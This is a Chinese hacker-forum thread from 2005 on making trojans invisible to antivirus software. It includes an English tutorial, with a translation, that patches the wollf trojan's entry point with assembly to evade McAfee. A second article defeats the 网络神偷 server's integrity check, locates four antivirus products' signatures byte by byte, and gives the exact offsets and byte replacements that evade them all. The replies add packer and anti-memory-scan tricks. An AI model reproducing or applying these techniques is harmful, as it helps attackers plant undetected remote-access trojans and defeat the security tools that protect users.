发新话题
打印

[讨论]讨论下你对杀毒软件的看法

[讨论]讨论下你对杀毒软件的看法

议题提交:Superpig [邪恶幻想]
信息来源:邪恶八进制信息安全团队

请大家说下自己对木马防杀的几种办法,我说下个人心得:

1.修改特征玛,目前最流行和最好用的办法,但对内存查杀的杀毒软件还是有点困难,缺点:耗费时间和机器,而且每种杀毒软件的特征码是各不相同,相信没人的机器可以同时装上5种杀毒软件吧,而且杀毒软件之间互相有冲突,目前已知比较接近的3种杀毒软件特征码类似,咖啡,卡巴,KV。据说KV用的就是KB的引擎。

2.加壳,目前网络公布的壳是100%的被杀,私用的壳我没有,还有就是加壳以后是否能达到满意的压缩效果这是个问题,还有就是内存查杀。(没装过瑞星,对这个概念特别的模糊,高手解释下)。

3.花指令,对不懂汇编的朋友来说很难

我给国内的一牛人写信问过这个问题,他的说的东西让我难以理解
具体就是什么通过时间差来实现防杀

TOP

下面转一篇早期人家写的软件防杀的一个办法,我的E文不好,我看的是模糊的要命,E文好的朋友可以翻译过来给大家看,个人绝对作者写的相当不错
write by Progressor
comes from governmentsecurity
ok! here we go ......

I won't explain every command, you'll have to learn Assembler fo this.

Tools:
Hex redactor - I used Hiew 6.75 (http://webhost.kemtel.ru/~sen)
Fearless PE Tool 0.1 - http://areyoufearless.com/modules.p...q=getit&lid=125
UPX packer - http://upx.sourceforge.net/
Brain - must have it, you can't download it.

I took for example well known trojan wollf v1.6 (www.xfocus.org)

Now, let start:

Wollf is already packed by an old version of UPX, so we unpack and pack it again by newest version

of UPX.
Now we are using PE tool and we will find this info about our trojan:

Entry Point: 00024FD0h
Image Base: 00400000h

Let us open wollf.exe in Hiew, go to disassemble mode (F4/Decode), go to address Entry Point + Image Base = 00424FD0h, for doing this press Goto (F5) and type ".00424FD0" (you need this dot before address, because it is a virtual address). Now we see something like this:


CODE

.00424FD0: 60 pushad
.00424FD1: BE00804100 mov esi,000418000 -----^ (1)
.00424FD6: 8DBE0090FEFF lea edi,[esi][0FFFE9000]
.00424FDC: 57 push edi
.00424FDD: 83CDFF or ebp,-001;"O"
.00424FE0: EB10 jmps .000424FF2 -----v (2)




Now we have to find place for our patch, scroll down a couple of pages and you'll see a lot of place with zeros. I choose address 00425147. For edit press F3/F2.
OEP = Entry Point + Image Base


CODE

.00425147: 68D04F4200 push 000424FD0 <--- push OEP
.0042514C: 50 push eax
.0042514D: 9C pushfd <---for tricking AVP
.0042514E: 60 pushad <---for tricking AVP
.0042514F: E800000000 call .000425154 <----




add another command: Ret 28h you will see

CODE

.00425154: C22800 retn 00028;" ("




for Save press F9

and we add another 2 commands
INC ECX
LOOP patch address


CODE

.00425161: 41 inc ecx <------- our new Entry Point
.00425162: E2E3 loop .000425147




Finally we have our patch:


CODE

.0042513F: 0000 add [eax],al
.00425141: 0000 add [eax],al
.00425143: 0000 add [eax],al
.00425145: 0000 add [eax],al
.00425147: 68D04F4200 push 000424FD0 -----^ (1)
.0042514C: 50 push eax
.0042514D: 9C pushfd
.0042514E: 60 pushad
.0042514F: E800000000 call .000425154 -----v (2)
.00425154: C22800 retn 00028;" ("
.00425157: 0000 add [eax],al
.00425159: 0000 add [eax],al
.0042515B: 0000 add [eax],al
.0042515D: 0000 add [eax],al
.0042515F: 0000 add [eax],al
.00425161: 41 inc ecx <------- our new Entry Point
.00425162: E2E3 loop .000425147 -----^ (3)
.00425164: 0000 add [eax],al
.00425166: 0000 add [eax],al
.00425168: 0000 add [eax],al




And last thing we should do, we open the file in PE tool and change Entry Point:
Entry Point = Offset - Image Base = 00425161 - 00400000 = 0025161h

Now, if you can unpack the file with UPX, then I suppose you did it right. (don&#39;t forget to backup

your file or you&#39;ll have to make this patch again.)

I tested patched file on McAfee Virusscan Pro 7.03, it doesn&#39;t detect our trojan.
Enjoy.


sounds good
have a good day plz
cheers
-=ssszone=-

TOP

下面这篇就是典型的通过特征码来防止软件被杀的文章,作者冰狐浪子,虽然说现在有软件可以自动实现这个功能,但是总的来说,还是件耗费时间和体力的事情
文章作者:icyfoxlovelace/冰狐浪子[EST]
信息来源:邪恶八进制

注意:本文首发于《黑客防线》

  网络神偷不愧是一个专业级的远程文件访问工具,其操作简单,功能"专而精",但诚如作者所言"一直以来,我们都秉承着免费的精神,为大家提供各种软件,但唯一不足的是目前很多杀毒软件都对网络神偷进行追杀,被冠以病毒之名!",既然这样我也只好自己动手丰衣足食,做个免杀版本的网络神偷,也免的麻烦蔬菜大哥劳神给我做个人版软件啦,呵呵^*^[但愿作者不会见怪]

  废话少说,从作者主页http://www.greenstuffsoft.net下载到"网络神偷 5.8 版",看了下"Server.bud"(这个就是服务端,作者改了扩展名而已),发现修改日期是2003年10月3日,看来作者认为服务端做的已经比较成熟,好久都没更新服务端程序啦噢!

          脱UPX壳

  用WinHex打开"Server.bud"[个人习惯,喜欢先用WinHex查看一下!],发现文件偏移000003DBh处的"1.08 UPX!"字样,还好作者没把紧接着版本后面的"0C 09 02 09"4个字节之后的24个字节修改掉,不然,如果不知道其正确的数值脱壳起来还真有点麻烦。首先我们把块名恢复,即把文件偏移000001F8h处的"text"改为"UPX0",00000220h处的"data"改为"UPX1",然后直接用"UPX -d Server.bud"命令脱壳[新手使用LoadPE修改块名更容易点],脱壳后文件大小为56KB。

          去除校验

  运行网络神偷客户端使用脱壳后的"Server.bud"生成服务端后,运行服务端并进行初步测试,奇怪?程序并没显示运行错误,但在任务管理器的进程列表里却没出现新的进程,系统目录下也没有看到产生新的文件,看来事情并没有想象中的如此简单,联想到自己刚才在"Server.bud"文件最后看到了多出来的16个未知作用的字节"19A4F940378B8F7EAA15D260BC2FE64B",可能是文件的校验值(因为好象16位的MD5值哦!),看来作者大概在服务端程序中加入了一段文件的校验代码,使用Ollydbg打开生成后的服务端,跟踪运行分析后在00407828h处发现如下代码[我比较笨,对于MFC代码调用不了解,用了N久才找到~V~]:

00407828 B9 10000000  MOV  ECX, 10     ;16个字节^*^
0040782D 8D7424 58    LEA  ESI, DWORD PTR SS:[ESP+58]
00407831 8D7D 38    LEA  EDI, DWORD PTR SS:[EBP+38]
00407834 33C0     XOR  EAX, EAX
00407836 F3:A6     REPE  CMPS BYTE PTR ES:[EDI], BYTE PTR DS:[ESI]
;逐字节比较
00407838 74 05     JE    SHORT 网络神偷.0040783F
;关键跳转语句1,改此处代码跳转到00407847h处也可以达到暴破的效果
0040783A 1BC0     SBB  EAX, EAX
0040783C 83D8 FF    SBB  EAX, -1
0040783F 85C0     TEST  EAX, EAX
00407841 0F85 E4060000 JNZ  网络神偷.00407F2B  ;关键跳转语句2,nop掉!
00407847 8B7424 38    MOV  ESI, DWORD PTR SS:[ESP+38]
………………
00407ECD 6A 00     PUSH  0     ;FailIfExists = FALSE
00407ECF 50      PUSH  EAX    ;NewFileName
00407ED0 51      PUSH  ECX    ;ExistingFileName
00407ED1 FF15 74A04000 CALL  DWORD PTR DS:[<&KERNEL32.CopyFileA>];CopyFileA
00407ED7 8D4C24 2C    LEA  ECX, DWORD PTR SS:[ESP+2C]
00407EDB E8 6C070000  CALL  <JMP.&MFC42.#800>
00407EE0 8D4C24 30    LEA  ECX, DWORD PTR SS:[ESP+30]
00407EE4 C68424 0403000 MOV  BYTE PTR SS:[ESP+304], 6
00407EEC E8 5B070000  CALL  <JMP.&MFC42.#800>
00407EF1 8B5424 18    MOV  EDX, DWORD PTR SS:[ESP+18]
00407EF5 8B4424 3C    MOV  EAX, DWORD PTR SS:[ESP+3C]
00407EF9 6A 01     PUSH  1     ;IsShown = 1
00407EFB 52      PUSH  EDX    ;DefDir
00407EFC 6A 00     PUSH  0     ;Parameters = NULL
00407EFE 50      PUSH  EAX    ;FileName
00407EFF 6A 00     PUSH  0     ;Operation = NULL
00407F01 6A 00     PUSH  0     ;hWnd = NULL
00407F03 FF15 54A34000 CALL  DWORD PTR DS:[<&SHELL32.ShellExecuteA>];ShellExecuteA
00407F09 8D4C24 3C    LEA  ECX, DWORD PTR SS:[ESP+3C]
00407F0D C68424 0403000 MOV  BYTE PTR SS:[ESP+304], 5
00407F15 E8 32070000  CALL  <JMP.&MFC42.#800>
00407F1A 8D4C24 44    LEA  ECX, DWORD PTR SS:[ESP+44]
00407F1E C68424 0403000 MOV  BYTE PTR SS:[ESP+304], 4
00407F26 E8 21070000  CALL  <JMP.&MFC42.#800>
;如果从00407841h处直接跳到此处就没戏啦噢,坚决反对,呵呵
00407F2B 8D8C24 8800000 LEA  ECX, DWORD PTR SS:[ESP+88]
00407F32 C68424 0403000 MOV  BYTE PTR SS:[ESP+304], 3
00407F3A E8 01E6FFFF  CALL  网络神偷.00406540


  从上面代码可以看到如果在00407841h处跳转的话就会跳过CopyFileA[文件拷贝]和ShellExecuteA[运行程序]的API调用,从而导致服务端不复制自身到系统目录并运行,我把文件偏移7841h处的代码nop掉,即把"0F 85 E4 06 00 00"改为"90 90 90 90 90 90",保存后运行测试成功!看来就这一处校验,庆幸中!

  后来,我仔细分析了一下反汇编后的代码,发现服务端文件最后的那16个字节是文件的MD5值用"L*A|}t~k"进行简单加密后的值,可以利用它的服务端来反向得到正确的值,不用暴破也可,方法如下:
  首先用MD5软件得到删除最后多余16个字节后的"Server.bud"的MD5值,然后把得到的MD5值重新添加到"Server.bud"的结尾后,生成服务端,再用Ollydbg调试服务端,下断点在00407838h处,中断后用WinHex打开内存RAM中的服务端进程,在内存偏移00852758h处就是我们需要的加密后的md5值,用这个16位的md5值替换掉"Server.bud"的最后16字节则可以生成能正常运行的服务端,不好意思有点麻烦,有兴趣的读者可以自己写个校验值生成器^*^

          获取特征码

  到现在总算完整的把服务端的壳脱掉啦,即把服务端"Server.bud"脱壳后,用WinHex把"Server.bud"文件偏移7841h处的"0F 85 E4 06 00 00"改为"90 90 90 90 90 90",得到暴破后的可以任意修改的"Server.bud"文件备用,接下来后面的特征码修改就是修改的这个文件。

  我们开始进入正题获取网络神偷服务端的特征码,首先把各种各样的杀毒软件准备好,今天我主要准备了下面四种:瑞星杀毒软件2004版、金山毒霸6、江民KV2004、Symantec诺顿8.1企业版,把杀毒软件全部安装好,当然可能会有的软件相互之间提示冲突,不过反正仅仅为测试而用,还好安装完后都可以正常使用,把各种杀毒软件都关闭,不然还没修改就被OVER啦,并都设置为检查文件时发现病毒直接删除,为下面的特征码获取做好准备。[浪子天真的想:要是每个杀毒软件的特征码都一样该多好呀,你打我头干吗呀?]

  因为杀毒软件为了保护自身利益及防止特征码被别的杀毒软件误报警,均对特征码进行了加密保护,要直接获取它们的特征码库比较困难[瑞星可以在内存中直接获取特征码库],今天我为大家带来的是一种比较低级的特征码获取方法:"逐字节替换法搜索特征码",就是把要获取特征码的木马服务端或病毒[本人不推荐你改病毒来玩,小心被警察叔叔抓]程序从头到尾逐个字节的修改替换为00h或ffh(当然你用其他值替换也行)后,每替换一个字节保存为一个文件,替换下一字节时记得把上一字节的修改还原,生成后的文件保存为四份,使用每个杀毒软件对其进行杀毒,最后在每份中留下的没被删除的就是被修改了特征码的,把剩余的文件被修改的字节汇总起来,就得到了每个杀毒软件对这个木马或病毒所定义的"特征码"。

  获取特征码的原理就是这样,相信也有不少人知道这个方法的,下面我主要说一下这个方法实际操作中需要注意的地方:

  第一点:替换字节要从代码段开始替换,而不要从文件头开始替换,因为一般来说文件头中不会出现特征码,且即使特征码在文件头中,也不如代码段中的修改来的简单;代码段的开始偏移可以从文件开头偏移3Ch-3Fh处的四个字节中获取,如脱壳后的网络神偷服务端3Ch-3Fh的值为:00010000,因为保存时低字节在前高字节在后,翻过来就是:00001000,即代码段在文件中的偏移是00001000h;

  第二点:有人反映说逐字节替换生成的文件太多,占用空间太大,而且杀起来慢的要死,确实这样,如果真的按照原理来生成文件,光一个大小仅为57,360 字节的网络神偷就需要57360*57360即3G左右的空间,57360个文件,这还仅仅是一份而已,像我的硬盘仅仅只有4G左右的空间,不就要死翘翘啦?其实不然,我们可以完全变通一下,采用分段法逐步缩小特征码所处的范围,也就是说开始先不要"逐个字节进行替换",而是分成几个大段进行替换,比如可以以1000h(4K)为单位进行替换,把每1000h大小内的所有字节全改为FFh后生成一个文件,进行查杀,查杀后留下的文件让我们知道了特征码的范围,在以50h字节大小为单位对特征码所在范围(4K大小),进行替换并查杀,最后对50h范围的再使用逐字节替换找到准确的特征码,这样每次仅仅需要几M大小的空间就足够,且速度很快!

  第三点:特征码通常会位于程序的入口点"Program Entry Point"下面的一段代码内,如网络神偷服务端脱壳后的入口点为00408A0Ah,位于文件偏移8A0Ah处;

  第四点:手工进行替换会累死你的,你可别学我这个傻帽呀[我曾用了整一天的时间使用WinHex替换来获取特征码]!写个软件吧,不应该算是太难的吧!但你要若真要学我我也真的无话可说^*^

  把修改后的服务端"Server.bud"使用上面所讲的方法进行分解,最后得到的各杀毒软件对于网络神偷的特征码定义如下:

   瑞星杀毒软件2004版
  这个软件的我还真没找到它对网络神偷定义的特征码,你用它检查一下脱壳后的服务端,没反应噢,难道他们不会脱壳?呵呵玩笑,大概因为网络神偷服务端不算太隐蔽,所以才没赶尽杀绝,要是大家都这样就好啦,多省劲呀):

   金山毒霸6
特征码为:1、文件偏移8A12h至8A22h的:400068968B400064A10000000050648925
     2、文件偏移C1A0h至C1C2h的:20474F544F204552524F520D0A64656C204E6574686965665F5365727665722E626174
       既[ GOTO ERROR
       del Nethief_Server.bat]
      第2段特征码好象不是必须的特征码,因为逐字节替换第二段会全被杀掉,但如果把第2段全部换掉却不被杀,纳闷中

   江民KV2004
  江民KV2004的特征码分段最多,也最大,这样做相信它的病毒误报警几率应该要小点,特征码范围如下:

文件偏移1A39h至1A78h、8A0Ah至8A31h、8B32h至8B33h、8B38h至8B3Fh、8B41h至8B43h、8BA2h至8BB2h及8BB7h

   Symantec诺顿8.1企业版
  文件偏移C20Ch至C228h处的4B45524E454C3332000000004E6574686965665F536572766572202D20即:
"KERNEL32  Nethief_Server - "为特征码,唯一的一个特征码不在代码段的,测试时好象诺顿的特征码经常不在代码段中噢,并且经常是字母!


          修改特征码

  上面忙活了半天,就为这点"修改特征码躲避杀毒软件"服务的,终于快看到成果啦!瑞星的没啥好说的,诺顿的特征码竟然是不在代码段内的字母,想来改变一下字母的大小写应该不会出错吧,把文件偏移C20Ch至C211h的"4B45524E454C"[KERNEL]改为"6B65726E656C"[kernel]后运行正常,并成功躲过诺顿;比较一下金山毒霸和江民KV2004的特征码,我们发现其中8A12h至8A22h的特征码二者重合,看来修改这段代码即可同时躲过这两种杀毒软件,其反汇编代码如下:

//******************** Program Entry Point ********
:00408A0A 55          push ebp
:00408A0B 8BEC         mov ebp, esp
:00408A0D 6AFF         push FFFFFFFF
:00408A0F 6848A64000      push 0040A648
:00408A14 68968B4000      push 00408B96
:00408A19 64A100000000      mov eax, dword ptr fs:[00000000]
:00408A1F 50          push eax
:00408A20 64892500000000     mov dword ptr fs:[00000000], esp
:00408A27 83EC68         sub esp, 00000068
:00408A2A 53          push ebx

分析下上面的代码,可以发现修改
:00408A14 68968B4000      push 00408B96
:00408A19 64A100000000      mov eax, dword ptr fs:[00000000]
这两句代码的先后顺序,并不会影响堆栈内容的读取,同时也改变了特征码,即改为:
:00408A14 64A100000000      mov eax, dword ptr fs:[00000000]
:00408A1A 68968B4000      push 00408B96

  用WinHex打开"Server.bud",把文件偏移8A14h至8A1Eh处的"68968B400064A100000000"改为"64A10000000068968B4000"后保存,生成网络神偷服务端程序后,测试运行正常,四种杀毒软件都没对其正确报警!网络神偷特征码修改实战顺利完成!

  最后交待一下,如果你觉得脱壳后的服务端太大,可以重新加壳,当然不可以用UPX噢,否则瑞星老大绝对找你麻烦,建议采用aspack加壳;另外说下,修改特征码代码时,改变代码的先后顺序是个不错的选择。

TOP

关于加壳,仍是杀毒软件的噩梦。只有常见的壳它能搞,就是有脱壳机能脱的那种,我们自己写壳时只要多加点ANTI,抽点代码,多用SEH,杀毒软件是无可奈何的(最起码现在是这样)。关于瑞星我实在不想说什么了,2003出来时说能全部查杀加壳的变种,结果呢?2004出来是大吹内存杀毒,结果呢?2005出来时则宣传那漏洞监控,晕~那玩意只能防已知的那两个缓冲区溢出,而且是采用监视端口的弱智方法。好歹也学学Mcafee的那中方法:截获所有进程loadlibrarya、loadlibraryw、getprocaddress等api函数,将这些函数的开始几个字节改为检测函数,用来检查调用getprocaddress等函数的父函数是否处于堆或栈内,如果是,报警并退出当前进程;否则回到getprocaddress等函数。虽然Mcafee的这种方法不完美,但绝对比瑞星的那个要……

记得前几天美国某大学的沙教授到我们学校来作关于缓冲区溢出的讲座时展示了他们研究的防缓冲区溢出的硬件方案,各项数据均显示效果很好。当然,那是从硬件的角度着手的,软件层面上不好比了。
http://www.xyzreg.net

TOP

对瑞星的内存监控,我的使用经验觉得还是比较较有效的。当然,前提是这个程序如果没有被修改特征码,本身可以被瑞星查杀, 只是被加壳,那么加壳的时候可能查不出,但一旦运行,在内存中脱壳时,瑞星可以查杀。

TOP

引用:
下面是引用xyzreg于05-21-2005 18:38发表的:
关于加壳,仍是杀毒软件的噩梦。只有常见的壳它能搞,就是有脱壳机能脱的那种,我们自己写壳时只要多加点ANTI,抽点代码,多用SEH,杀毒软件是无可奈何的(最起码现在是这样)。关于瑞星我实在不想说什么了,2003出来时说能全部查杀加壳的变种,结果呢?2004出来是大吹内存杀毒,结果呢?2005出来时则宣传那漏洞监控,晕~那玩意只能防已知的那两个缓冲区溢出,而且是采用监视端口的弱智方法。好歹也学学Mcafee的那中方法:截获所有进程loadlibrarya、loadlibraryw、getprocaddress等api函数,将这些函数的开始几个字节改为检测函数,用来检查调用getprocaddress等函数的父函数是否处于堆或栈内,如果是,报警并退出当前进程;否则回到getprocaddress等函数。虽然Mcafee的这种方法不完美,但绝对比瑞星的那个要……

记得前几天美国某大学的沙教授到我们学校来作关于缓冲区溢出的讲座时展示了他们研究的防缓冲区溢出的硬件方案,各项数据均显示效果很好。当然,那是从硬件的角度着手的,软件层面上不好比了。
给点掌声,呵呵``8错``不过不是人人都那样厉害哦....大家继续讨论,如果能有50个人回复,我共享2套不被杀的壳。发帖目的是希望找出新的技术。
比如国内某牛壳的作者我给他写信他回答我的是通过时间差来防杀,基本我是一团糊涂,信的原件也被我随时给删了````

TOP

引用:
下面是引用a11yesno于05-21-2005 18:58发表的:
自己写后门
有灌水的嫌疑,打``我热哦,人人都会写后门么?难道我要开宝马,我就要自己去造一辆宝马吗?毕竟说实在的话,用人家的东西还是多点```比如人人都用的操作系统
911你偏题了哈

TOP

呵呵 ,比较新的方法我觉得是flashsky提出的溢出型后门
我没头像了。。。

TOP

那个英文的文章写了这么多不就是介绍了脱了个壳嘛~~晕~~~
http://hi.baidu.com/fengze

TOP

引用:
下面是引用风泽于05-21-2005 23:34发表的:
那个英文的文章写了这么多不就是介绍了脱了个壳嘛~~晕~~~
仁兄武断了,武断了```在仔细看看

TOP

引用:
下面是引用superpig于05-22-2005 00:14发表的:


仁兄武断了,武断了```在仔细看看
看不出来,英文太差。没看到他对任何修改啊,很手工脱壳没什么区别。

难道SUPERPIG认为对PE做了手脚?没看出来,呵呵`~~
http://hi.baidu.com/fengze

TOP

看了各位的高见后 个人觉得 杀毒软件对我们来说 只不过是测试木马用的 我相信楼上的各位都能手动
杀后门和+壳木马 反正偶是不用杀毒软件。。。。。。 256的内存 用不起

TOP

楼上的老大,256M还用不起X毒软件?!那我的64岂不是可以跳江了?!
BLOG: http://blog.csdn.net/hkbyest

TOP

我使用的是瑞星,瑞星的内存监控我觉得还可以,如果有加壳的后门放到机器上,平时你杀毒检测的时候不能够查到,但是一但你运行了,大都可以直接提出警报的.
我们的目的是提高

TOP

CCL的作者说过瑞星使用了两套病毒特征码,文件和内存的病毒特征码是不一样的,所以我们的木马加壳后虽然当时不被杀,但是运行后用瑞星的内存杀毒还是可以kill掉,如果只是修改了文件的特征码运行后用内存杀毒还是被杀。

加壳的话可以考虑加多层壳或者一些不知名的壳,比如最近的 nSpack v2.3~~~
OnLy for tEST

TOP

以下是小生对前面的e文的翻译,仅供大家参考,如有不对的地方还望多多指正!


作者:来自政府安全部门的专家
文章开始:

我不会解释每一个命令的意思,要看懂此文你需要学习Assemble。

工具:
Hex redactor ,我使用6.75版本(http://webhost.kemtel.ru/~sen)
Fearless PE Tool 0.1 - http://areyoufearless.com/modules.p...q=getit&lid=125
UPX packer - http://upx.sourceforge.net/
此外,你必须要有一个头脑,否则你无法下载。

我用著名的木马 wollf v1.6 (www.xfocus.org)为例进行说明

现在开始:

Wollf 早就被老版本的upx加壳,因此,我们要先去壳,然后用最新版本的UPX加新的壳 ,现在我们用PE tool 找到木马的一下信息:

Entry Point: 00024FD0h
Image Base: 00400000h

我们用Hiew打开wollf.exe,按 F4/Decode进入disassemble模式,,找到地址:Entry Point + Image Base = 00424FD0h,按下F5,然后输入 ".00424FD0" 记住一定要打.,因为这是一个虚地址。现在我们可以看到以下的东西:

code (代码:)
.00424FD0: 60 pushad
.00424FD1: BE00804100 mov esi,000418000 -----^ (1)
.00424FD6: 8DBE0090FEFF lea edi,[esi][0FFFE9000]
.00424FDC: 57 push edi
.00424FDD: 83CDFF or ebp,-001;"O"
.00424FE0: EB10 jmps .000424FF2 -----v (2)

现在我们要为我们的补丁找到一个路径,往下翻几页可以看到有很多0的地方,我选择地址 00425147,按下F3/F2进行编辑,OEP = Entry Point + Image Base

CODE

.00425147: 68D04F4200 push 000424FD0 <--- push OEP
.0042514C: 50 push eax
.0042514D: 9C pushfd <---for tricking AVP
.0042514E: 60 pushad <---for tricking AVP
.0042514F: E800000000 call .000425154 <----

添加零一个命令:Ret 28h ,然后你可以看到:

CODE

.00425154: C22800 retn 00028;" ("

为了安全按下F9,添加以下两个命令:

INC ECX
LOOP patch address

CODE

.00425161: 41 inc ecx <------- our new Entry Point
.00425162: E2E3 loop .000425147

这样我们有了自己的补丁:

CODE

.0042513F: 0000 add [eax],al
.00425141: 0000 add [eax],al
.00425143: 0000 add [eax],al
.00425145: 0000 add [eax],al
.00425147: 68D04F4200 push 000424FD0 -----^ (1)
.0042514C: 50 push eax
.0042514D: 9C pushfd
.0042514E: 60 pushad
.0042514F: E800000000 call .000425154 -----v (2)
.00425154: C22800 retn 00028;" ("
.00425157: 0000 add [eax],al
.00425159: 0000 add [eax],al
.0042515B: 0000 add [eax],al
.0042515D: 0000 add [eax],al
.0042515F: 0000 add [eax],al
.00425161: 41 inc ecx <------- our new Entry Point
.00425162: E2E3 loop .000425147 -----^ (3)
.00425164: 0000 add [eax],al
.00425166: 0000 add [eax],al
.00425168: 0000 add [eax],al

最后我们需要做的是,用 PE tool 打开文件,改变Entry Point:
Entry Point = Offset - Image Base = 00425161 - 00400000 = 0025161h

现在,如果你能用UPX为这个文件去壳,那么你就成功了。(不要忘了给你的文件作备份,否则你需要再打补丁一次)

我用卖咖啡McAfee Virusscan Pro 7.03测试了我的补丁文件,它没有发现这个木马。

着高兴,愉快地一天

TOP

正在关注这个问题,看来只有 使用修改特征码+加壳。
对付卡巴只能修改特征码,对付国产杀毒软件,找几个壳子就成

我的电脑装了卡巴,先用修改特征码的方法免杀for卡巴,再找壳子加壳就成了。

一般都可以免杀。

至于内存杀毒。呵呵。我有很多想法,以后有时间再说~~~~~

TOP

发新话题